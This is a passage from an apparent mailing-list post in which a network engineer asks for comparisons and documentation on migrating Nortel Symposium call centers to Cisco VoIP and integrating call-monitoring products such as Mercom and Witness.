traditional subjects discussed here), but I am under some time-pressure, due 
to a recent assignment outside my area of expertise: I have been asked to 
pick up on a project left-over from a predecessor of mine, regarding the 
following issues:

1. Cisco call center solutions, that may be comparable and/or integrateable 
(is there such a word?!? ;)) with Nortel Symposium 6.x or Express (depending 
on the site of deployment - have mutiple sites to deal with) solutions. 

In the light of the above, I would appreciate some pointers to comparison 
info, as well as some personal experience. I am asked to analyze the 
opportunity of upgrading old/unsupported Nortel PBX/analog based solutions, 
either to something vendor-similar, but newer/supported versions, or - at the 
extreme - VoIP-based Cisco one (considering a transition period where 
satellite Call Centers may still have old solutions, but able to 
receive/transmit calls to the newer systems

2. Call monitoring solutions, such as the ones from Mercom, Witness or 
Conexus, and their integration with Cisco products (for this one I found a 
link on Cisco's site, mentioning Mercom as a partner for Networkers 2006 ... 
but that's about it).

Any pointers to documentation regarding design and practical solutions for 
Call Centers would also be really appreciated. I would love to RTFB(ooks), 
also, if pointed to the right/pertinent ones :)

Thanks,
Stefan

